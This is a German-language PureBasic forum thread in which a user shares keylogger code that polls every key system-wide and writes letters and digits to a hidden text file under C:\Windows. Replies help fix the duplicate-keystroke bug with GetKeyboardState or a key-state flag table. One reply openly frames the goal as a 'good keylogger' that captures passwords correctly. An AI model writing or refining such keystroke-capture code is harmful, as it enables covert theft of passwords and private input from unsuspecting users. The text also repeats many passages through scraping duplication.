Tasten drücke speichern
Ok, hier mal ein Code; der Code fragt, die Tastendrücke ab, und speichert die in einer TXT Datei, aber manchmal speichert er die Taste 2mal also "mm" wenn ich auf m drücke und wenn ich das Delay höher setze garnicht. Wie schaffe ich es, dass der buchstabe nur einmal pro tastendruck in der Datei steht, egal wie lange ich die Taste drücke.
Code: Alles auswählen
Procedure Key()
For n=0 To 255
If GetAsyncKeyState_(n)
ProcedureReturn n
EndIf
Next
EndProcedure
Tasten = 0
CreateFile(2, "C:\Windows\tastus.txt")
Repeat
If Key() = #VK_A
WriteString(2, "A")
Tasten = 1
EndIf
If Key() = #VK_B
WriteString(2, "B")
Tasten = 1
EndIf
If Key() = #VK_C
WriteString(2, "C")
Tasten = 1
EndIf
If Key() = #VK_D
WriteString(2, "D")
Tasten = 1
EndIf
If Key() = #VK_E
WriteString(2, "E")
Tasten = 1
EndIf
If Key() = #VK_F
WriteString(2, "F")
Tasten = 1
EndIf
If Key() = #VK_G
WriteString(2, "G")
Tasten = 1
EndIf
If Key() = #VK_H
WriteString(2, "H")
Tasten = 1
EndIf
If Key() = #VK_I
WriteString(2, "I")
Tasten = 1
EndIf
If Key() = #VK_J
WriteString(2, "J")
Tasten = 1
EndIf
If Key() = #VK_K
WriteString(2, "K")
Tasten = 1
EndIf
If Key() = #VK_L
WriteString(2, "L")
Tasten = 1
EndIf
If Key() = #VK_M
WriteString(2, "M")
Tasten = 1
EndIf
If Key() = #VK_N
WriteString(2, "N")
Tasten = 1
EndIf
If Key() = #VK_O
WriteString(2, "O")
Tasten = 1
EndIf
If Key() = #VK_P
WriteString(2, "P")
Tasten = 1
EndIf
If Key() = #VK_Q
WriteString(2, "Q")
Tasten = 1
EndIf
If Key() = #VK_R
WriteString(2, "R")
Tasten = 1
EndIf
If Key() = #VK_S
WriteString(2, "S")
Tasten = 1
EndIf
If Key() = #VK_T
WriteString(2, "T")
Tasten = 1
EndIf
If Key() = #VK_U
WriteString(2, "U")
Tasten = 1
EndIf
If Key() = #VK_V
WriteString(2, "V")
Tasten = 1
EndIf
If Key() = #VK_W
WriteString(2, "W")
Tasten = 1
EndIf
If Key() = #VK_X
WriteString(2, "X")
Tasten = 1
EndIf
If Key() = #VK_Y
WriteString(2, "Y")
Tasten = 1
EndIf
If Key() = #VK_Z
WriteString(2, "Z")
Tasten = 1
EndIf
If Key() = #VK_0
WriteString(2, "0")
Tasten = 1
EndIf
If Key() = #VK_1
WriteString(2, "1")
Tasten = 1
EndIf
If Key() = #VK_2
WriteString(2, "2")
Tasten = 1
EndIf
If Key() = #VK_3
WriteString(2, "3")
Tasten = 1
EndIf
If Key() = #VK_4
WriteString(2, "4")
Tasten = 1
EndIf
If Key() = #VK_5
WriteString(2, "5")
Tasten = 1
EndIf
If Key() = #VK_6
WriteString(2, "6")
Tasten = 1
EndIf
If Key() = #VK_7
WriteString(2, "7")
Tasten = 1
EndIf
If Key() = #VK_8
WriteString(2, "8")
Tasten = 1
EndIf
If Key() = #VK_9
WriteString(2, "9")
Tasten = 1
EndIf
Forever
----------------------------------------------------------
PB 5.20 Beta 10 | Windows 7
PB 5.20 Beta 10 | Windows 7
-
- Beiträge: 17389
- Registriert: 10.11.2004 03:22
grundsätzlich: diese verfahrensweise ist eigentlich gänzlich ungeeignet,
weil jeder aufruf von GetAsyncKeystate das Keyboard komplett abfragt.
mach lieber einen Aufruf von GetKeyboardState,
und check den Buffer, den du zurückbekommst durch.
konkret:
der Rückgabewert ist zwar immer <>0 wenn eine Taste gedrückt ist,
aber er variiert je nachdem, ob eine taste gerade gedrückt wurde oder weiterhin gedrückt ist.
weil jeder aufruf von GetAsyncKeystate das Keyboard komplett abfragt.
mach lieber einen Aufruf von GetKeyboardState,
und check den Buffer, den du zurückbekommst durch.
konkret:
der Rückgabewert ist zwar immer <>0 wenn eine Taste gedrückt ist,
aber er variiert je nachdem, ob eine taste gerade gedrückt wurde oder weiterhin gedrückt ist.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Der Weise weiß, dass er ein Narr ist.
-
- Beiträge: 17389
- Registriert: 10.11.2004 03:22
schau doch mal in die MSDN oder zumindest in die Win32.hlp
GetAsyncKeystate fragt tasten "roh" ab, dann gibts glaubich noch GetKeystate,
die fragt nach den "Filtern" ab, also z.b. wenn die Maustasten vertauscht sind.
und GetKeyboardstate füllt dir in einer einzigen abfrage einen 256byte-Buffer mit dem Status aller Tasten.
das ist für sowas weit besser geeignet, als drei dutzend aufrufe von GetAsyncKeystate.
btw. wenn du mit nem screen arbeitest, brauchst du das natürlich garnicht,
aber das weißt du wahrscheinlich.
GetAsyncKeystate fragt tasten "roh" ab, dann gibts glaubich noch GetKeystate,
die fragt nach den "Filtern" ab, also z.b. wenn die Maustasten vertauscht sind.
und GetKeyboardstate füllt dir in einer einzigen abfrage einen 256byte-Buffer mit dem Status aller Tasten.
das ist für sowas weit besser geeignet, als drei dutzend aufrufe von GetAsyncKeystate.
btw. wenn du mit nem screen arbeitest, brauchst du das natürlich garnicht,
aber das weißt du wahrscheinlich.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Der Weise weiß, dass er ein Narr ist.
-
- Beiträge: 17389
- Registriert: 10.11.2004 03:22
deswegen sagte ich dir doch, der Rückgabewert unterscheidet sich,
je nachdem ob das die erste Abfrage ist bei der die Taste gedrückt wird,
oder ob sie weiterhin gedrückt ist.
dem hinweis solltest du also mal nachgehen, indem du die rückgabewerte debuggen läßt und dir anschaust.
weitergehend halte ich es für möglich, dass es mit Einzelabfragen nicht richtig funktioniert.
möglicher Weise erhält eine Taste den Status "noch gedrückt",
weil sie während der Abfrage einer anderen Taste schon gedrückt war.
auch aber nicht nur deswegen ist es sinnvoll, sich GetKeyboardState mal anzusehen.
ansonsten musst du dir halt ein eigenes Array anlegen, wo du notierst,
ob die taste bei der letzten abfrage gedrückt war oder nicht,
eine Art Flag-Tabelle eben.
aber das ist eigentlich vergeblicher Aufwand, weil du dir ein Tasten-Array direkt von der API befüllen lassen kannst.
je nachdem ob das die erste Abfrage ist bei der die Taste gedrückt wird,
oder ob sie weiterhin gedrückt ist.
dem hinweis solltest du also mal nachgehen, indem du die rückgabewerte debuggen läßt und dir anschaust.
weitergehend halte ich es für möglich, dass es mit Einzelabfragen nicht richtig funktioniert.
möglicher Weise erhält eine Taste den Status "noch gedrückt",
weil sie während der Abfrage einer anderen Taste schon gedrückt war.
auch aber nicht nur deswegen ist es sinnvoll, sich GetKeyboardState mal anzusehen.
ansonsten musst du dir halt ein eigenes Array anlegen, wo du notierst,
ob die taste bei der letzten abfrage gedrückt war oder nicht,
eine Art Flag-Tabelle eben.
aber das ist eigentlich vergeblicher Aufwand, weil du dir ein Tasten-Array direkt von der API befüllen lassen kannst.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Der Weise weiß, dass er ein Narr ist.
Die Funktion von AND51 ist auch unsauber programmiert.
Es sollte nur einmal ein Rückgabewert ausgegeben werden.
Theoretisch hat AND51 256 Rückgabewerte, wenn man nur schnell genug drückt. Klar springt die Prozedur bei ProcedureReturn aus der Prozedur heraus, aber genau das ist nicht schön.
Besser wäre eine While Not(Bedingung) or n>255 ... wend
Und nach dem Wend dann erst das Resultat zurück geben.
Immer diese KeyLocker
>>>>>>>>>>
Wo wir mal beim Thema sind ...
In einer Event-Schleife ... selbst mit WindowEvent() statt WaitWindowEvent() ... funktioniert es nur, so lange ich innerhalb des Fensters klicke.

Es sollte nur einmal ein Rückgabewert ausgegeben werden.
Theoretisch hat AND51 256 Rückgabewerte, wenn man nur schnell genug drückt. Klar springt die Prozedur bei ProcedureReturn aus der Prozedur heraus, aber genau das ist nicht schön.
Besser wäre eine While Not(Bedingung) or n>255 ... wend
Und nach dem Wend dann erst das Resultat zurück geben.
Immer diese KeyLocker

>>>>>>>>>>
Wo wir mal beim Thema sind ...
Code: Alles auswählen
If GetAsyncKeyState_(#VK_LBUTTON)
Debug "links"
EndIf
If GetAsyncKeyState_(#VK_RBUTTON)
Debug "rechts"
EndIf
If GetAsyncKeyState_(#VK_MBUTTON)
Debug "Mitte"
EndIf

Kinder an die Macht http://scratch.mit.edu/
moin!
die Frage ist doch, wie möchte er seine Tasen gespeichert haben:
1. mit zeit(die Taste wurde 3s lang gedrückt)
2. einfach nur ein druck egal wie lang
oder mehr als ein druck...
für einen guten keylogger ist natürlich auch wichtig wie lange etwas gedrückt wurde...
z.B.
ich gebe ein Passwort ein: das pw ist "1111123456" jetzt drücke ich die "1" 2s lang dann steht dort "11111" jetzt drücke ich die anderen tasten...
der keyloagger wird dann aber nur 123456 ausgeben... (hat den Test nicht bestanden)
die frage ist immer, wofür braucht man die tasten?
MFG brügge
PS: ich würde eine structure jeder einzelnen taste machen, die beinhaltet, ob 1. die taste gedrückt ist, 2. welche nummer die taste hat und 3. den tastennamen.
dann haste nicht mehr das problem:(die taste wurde 2mal aufgeschrieben),denn du kannst abfragen, ob die taste schon gedrückt war oder nicht.
die Frage ist doch, wie möchte er seine Tasen gespeichert haben:
1. mit zeit(die Taste wurde 3s lang gedrückt)
2. einfach nur ein druck egal wie lang
oder mehr als ein druck...
für einen guten keylogger ist natürlich auch wichtig wie lange etwas gedrückt wurde...
z.B.
ich gebe ein Passwort ein: das pw ist "1111123456" jetzt drücke ich die "1" 2s lang dann steht dort "11111" jetzt drücke ich die anderen tasten...
der keyloagger wird dann aber nur 123456 ausgeben... (hat den Test nicht bestanden)
die frage ist immer, wofür braucht man die tasten?
MFG brügge
PS: ich würde eine structure jeder einzelnen taste machen, die beinhaltet, ob 1. die taste gedrückt ist, 2. welche nummer die taste hat und 3. den tastennamen.
dann haste nicht mehr das problem:(die taste wurde 2mal aufgeschrieben),denn du kannst abfragen, ob die taste schon gedrückt war oder nicht.
Abgeschlossene games: No Name Game (NNG) Download-Link:
http://web56.login-1.loginserver.ch/eas ... 2125104111
http://web56.login-1.loginserver.ch/eas ... 2125104111
hmmm aber wenn es denn ein "Keylocker" sein soll, ist es doch sinnfrei die
tasten nur einmal in der datei zu haben.
aber soetwas ist nicht nur als Keylogger interessant sondern auch für nen
anständigen Texteditor mit Undo Funktion.... oder nicht ?
Aber wenn jemand 3 Sek. auf 1 drückt, und dann sieht derjenige "Oh, da sind 4 einsen zuviel" backspace und dann stimmts mit den 8 einsen....
und in der txt steht dann nur 1<BackSpace> ....
Stimmt dann ja nicht wirklich .... oder ?
tasten nur einmal in der datei zu haben.
aber soetwas ist nicht nur als Keylogger interessant sondern auch für nen
anständigen Texteditor mit Undo Funktion.... oder nicht ?
Aber wenn jemand 3 Sek. auf 1 drückt, und dann sieht derjenige "Oh, da sind 4 einsen zuviel" backspace und dann stimmts mit den 8 einsen....
und in der txt steht dann nur 1<BackSpace> ....
Stimmt dann ja nicht wirklich .... oder ?
PureBasic 6.21 (Windows x86/x64) | Windows11 Pro x64 | AsRock B850 Steel Legend Wifi | R7 9800x3D | 64GB RAM | GeForce RTX 5080 | ThermaltakeView 270 TG ARGB | build by vannicom